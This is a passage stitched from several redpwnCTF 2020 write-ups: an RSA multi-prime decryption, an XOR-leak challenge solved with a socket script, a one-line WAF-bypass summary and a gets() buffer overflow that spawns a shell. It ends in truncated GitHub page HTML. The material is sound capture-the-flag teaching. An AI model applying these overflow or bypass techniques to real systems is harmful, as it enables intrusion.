* 15687871802768704433 * 15720375559558820789 * 15734713257994215871 * 15742065469952258753 * 15861836139507191959 * 16136191597900016651 * 16154675571631982029 * 16175693991682950929 * 16418126406213832189 * 16568399117655835211 * 16618761350345493811 * 16663643217910267123 * 16750888032920189263 * 16796967566363355967 * 16842398522466619901 * 17472599467110501143 * 17616950931512191043 * 17825248785173311981 * 18268960885156297373 * 18311624754015021467 * 18415126952549973977``` Now, we can decrypt the cipher:``` pytyhon$ pythonPython 2.7.18 (default, Apr 21 2020, 18:49:31) [GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> primes = [9353689450544968301, 9431486459129385713, 9563871376496945939, 9734621099746950389, 9736426554597289187, 10035211751896066517, 10040518276351167659, 10181432127731860643, 10207091564737615283, 10435329529687076341, 10498390163702844413, 10795203922067072869, 11172074163972443279, 11177660664692929397, 11485099149552071347, 11616532426455948319, 11964233629849590781, 11992188644420662609, 12084363952563914161, 12264277362666379411, 12284357139600907033, 12726850839407946047, 13115347801685269351, 13330028326583914849, 13447718068162387333, 13554661643603143669, 13558122110214876367, 13579057804448354623, 13716062103239551021, 13789440402687036193, 13856162412093479449, 13857614679626144761, 14296909550165083981, 14302754311314161101, 14636284106789671351, 14764546515788021591, 14893589315557698913, 15067220807972526163, 15241351646164982941, 15407706505172751449, 15524931816063806341, 15525253577632484267, 15549005882626828981, 15687871802768704433, 15720375559558820789, 15734713257994215871, 15742065469952258753, 15861836139507191959, 16136191597900016651, 16154675571631982029, 16175693991682950929, 16418126406213832189, 16568399117655835211, 16618761350345493811, 16663643217910267123, 16750888032920189263, 16796967566363355967, 16842398522466619901, 17472599467110501143, 17616950931512191043, 17825248785173311981, 18268960885156297373, 18311624754015021467, 18415126952549973977]>>> N = 1>>> for prime in primes:... N *= prime... >>> N == 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877True>>> e = 65537>>> phi = 1>>> for prime in primes:... phi *= (prime - 1)... >>> from Crypto.Util.number import inverse>>> d = inverse(e, phi)>>> cipher = 3832859959626457027225709485375429656323178255126603075378663780948519393653566439532625900633433079271626752658882846798954519528892785678004898021308530304423348642816494504358742617536632005629162742485616912893249757928177819654147103963601401967984760746606313579479677305115496544265504651189209247851288266375913337224758155404252271964193376588771249685826128994580590505359435624950249807274946356672459398383788496965366601700031989073183091240557732312196619073008044278694422846488276936308964833729880247375177623028647353720525241938501891398515151145843765402243620785039625653437188509517271172952425644502621053148500664229099057389473617140142440892790010206026311228529465208203622927292280981837484316872937109663262395217006401614037278579063175500228717845448302693565927904414274956989419660185597039288048513697701561336476305496225188756278588808894723873597304279725821713301598203214138796642705887647813388102769640891356064278925539661743499697835930523006188666242622981619269625586780392541257657243483709067962183896469871277059132186393541650668579736405549322908665664807483683884964791989381083279779609467287234180135259393984011170607244611693425554675508988981095977187966503676074747171>>> plaintext = pow(cipher, d, N)>>> print plaintext706900059475106681301586714568958471062774799484906508017771377121899901>>> print hex(plaintext)[2:-1].decode('hex')flag{t0000_m4nyyyy_pr1m355555}``` The flag is: `flag{t0000_m4nyyyy_pr1m355555}` ## Itsy-bitsy```The itsy-bitsy spider climbed up the water spout... nc 2020.redpwnc.tf 31284File: itsy-bitsy.py``` We have the script running on netcat in `itsy-bitsy.py`:``` python#!/usr/bin/env python3 from Crypto.Random.random import randint def str_to_bits(s): bit_str = '' for c in s: i = ord(c) bit_str += bin(i)[2:] return bit_str def recv_input(): i = input('Enter an integer i such that i > 0: ') j = input('Enter an integer j such that j > i > 0: ') try: i = int(i) j = int(j) if i <= 0 or j <= i: raise Exception except: print('Error! You must adhere to the restrictions!') exit() return i,j def generate_random_bits(lower_bound, upper_bound, number_of_bits): bit_str = '' while len(bit_str) < number_of_bits: r = randint(lower_bound, upper_bound) bit_str += bin(r)[2:] return bit_str[:number_of_bits] def bit_str_xor(bit_str_1, bit_str_2): xor_res = '' for i in range(len(bit_str_1)): bit_1 = bit_str_1[i] bit_2 = bit_str_2[i] xor_res += str(int(bit_1) ^ int(bit_2)) return xor_res def main(): with open('flag.txt','r') as f: flag = f.read() for c in flag: i = ord(c) assert i in range(2**6,2**7) flag_bits = str_to_bits(flag) i,j = recv_input() lb = 2**i ub = 2**j - 1 n = len(flag_bits) random_bits = generate_random_bits(lb,ub,n) encrypted_bits = bit_str_xor(flag_bits,random_bits) print(f'Ciphertext: {encrypted_bits}') if __name__ == '__main__': main()``` For exemple:```$ nc 2020.redpwnc.tf 31284Enter an integer i such that i > 0: 5Enter an integer j such that j > i > 0: 12Ciphertext: 0001111101011111100111111010110001100100000011011001110000101100100100010011110100000101010101111110101101000110100000110001110000100100100001011111100100001001010101000101100100101111100010101010010001100011000100000000001101101101001000100111000000110101000010111110000010011110000001000110001011111``` The flag is xored with a key generated with random numbers between `2**i` (`2**5 = 32`) and `2**j - 1` (`2**12 - 1 = 4095`) but we can't guess them In fact, we can guess a few bits at a time For exemple, with i = 2 and j = 3, random numbers can be from 4 to 7 and their binary values are:``` python>>> bin(4)[2:]'100'>>> bin(5)[2:]'101'>>> bin(6)[2:]'110'>>> bin(7)[2:]'111'```Then, the key is composed by packs of 3 bits and the first bit af all packs is `1`, so all bits at positions multiple of 3 are xored by one In general, for `i = n` and `j = n + 1`, all bits at positions multiple of n are xored by one We can make a script to solve it:``` python#!/usr/bin/python2import socketimport random TCP_IP = '2020.redpwnc.tf'TCP_PORT = 31284BUFFER_SIZE = 1024 '''bin(1)[2:] == 10bin(2)[2:] == 11-> all 2n bit is cipher_bit ^ 1''' res = ['_'] * 301 size = 2 while '_' in res[2:]: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.recv(BUFFER_SIZE) s.send(str(size - 1) + '\n') s.recv(BUFFER_SIZE) s.send(str(size) + '\n') data = s.recv(BUFFER_SIZE) cipher = data[len('Ciphertext: '):][:-1] for k in range(0, len(cipher), size): res[k] = str(int(cipher[k]) ^ 1) print(''.join(res)) size += 1``` Execute it and we get `1_00110110110011000011100111111101111000101101001111010011100111011111110110011001011100001110101111010011101110110011110111111101111111010111101001011111110010011011111110111110111010111111110100110100011001011011111111011111000011110100110010111100101011111111001111100001101111111010111101001111101`, but we can't find the second char with this technique No problems, because with `1`, it's `Flag{bits_leaking_out_down_the_water_spout}` and with 1 is `flag{bits_leaking_out_down_the_water_spout}` The flag is: `flag{bits_leaking_out_down_the_water_spout}`
TL;DR bypass numeric only WAF via string coercion and bitwise operators, solve readflag via previously known ways. Full description available in the writeup!
# coffer-overflow-0 Author: [roerohan](https://github.com/roerohan) This is a simple buffer overflow challenge. # Requirements - Basic Buffer overflow. # Source - [coffer-overflow-0](./coffer-overflow-0). ```Can you fill up the coffers? We even managed to find the source for you. nc 2020.redpwnc.tf 31199``` ```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); }}``` # Exploitation The goal is clear, we have to somehow set a non-zero value in `code`. We see in the code snippet that `name` is alloted 16 bytes, and `code` is alloted 8 bytes (long, 64-bit). Also, the `gets()` function is used, which does not check the size of the input. So, we can simply write past the space alloted for `name` and write into `code`. Space in the stack is generally assigned in multiples of 16, so for this function, 32 bits will be assigned. We can simply fill this with `a`s, each `a` being 1 byte, and fill up everything, thus changing the value of `code` as well. We get a shell. ```bash$ python2 -c "print 'a'*32"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa $ nc 2020.redpwnc.tf 31199Welcome to coffer overflow, where our coffers are overfilling with bytes ;)What do you want to fill your coffer with?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalsMakefilebincoffer-overflow-0coffer-overflow-0.cdevflag.txtliblib32lib64cat flag.txtflag{b0ffer_0verf10w_3asy_as_123}``` The flag is: ```flag{b0ffer_0verf10w_3asy_as_123}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>redpwnCTF-2020/web/tux-fanpage at master · trott4425/redpwnCTF-2020 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="937E:345B:14D6132:155BC1D:64121ED4" data-pjax-transient="true"/><meta name="html-safe-nonce" content="c31538dc7b0b8c49cf90f467bd8aca6dac88b0357934871fbc42fd565a6af476" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5MzdFOjM0NUI6MTRENjEzMjoxNTVCQzFEOjY0MTIxRUQ0IiwidmlzaXRvcl9pZCI6IjQ1MTExNTQ2NzQwOTE1NjQ3NTYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="f82ed1ee08eb271d1e5b185f8301c4d055d2d75db315119354ba93ed186dc29e" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:275186644" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups for the 2020 redpwn CTF competition. Contribute to trott4425/redpwnCTF-2020 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3106f81db8d8f84650590a73cd5b9efb04087c408bf767216079d72d1f186169/trott4425/redpwnCTF-2020" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="redpwnCTF-2020/web/tux-fanpage at master · trott4425/redpwnCTF-2020" /><meta name="twitter:description" content="Writeups for the 2020 redpwn CTF competition. Contribute to trott4425/redpwnCTF-2020 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3106f81db8d8f84650590a73cd5b9efb04087c408bf767216079d72d1f186169/trott4425/redpwnCTF-2020" /><meta property="og:image:alt" content="Writeups for the 2020 redpwn CTF competition. Contribute to trott4425/redpwnCTF-2020 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="redpwnCTF-2020/web/tux-fanpage at master · trott4425/redpwnCTF-2020" /><meta property="og:url" content="https://github.com/trott4425/redpwnCTF-2020" /><meta property="og:description" content="Writeups for the 2020 redpwn CTF competition. Contribute to trott4425/redpwnCTF-2020 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/trott4425/redpwnCTF-2020 git https://github.com/trott4425/redpwnCTF-2020.git"> <meta name="octolytics-dimension-user_id" content="2302354" /><meta name="octolytics-dimension-user_login" content="trott4425" /><meta name="octolytics-dimension-repository_id" content="275186644" /><meta name="octolytics-dimension-repository_nwo" content="trott4425/redpwnCTF-2020" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="275186644" /><meta name="octolytics-dimension-repository_network_root_nwo" content="trott4425/redpwnCTF-2020" /> <link rel="canonical" href="https://github.com/trott4425/redpwnCTF-2020/tree/master/web/tux-fanpage" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 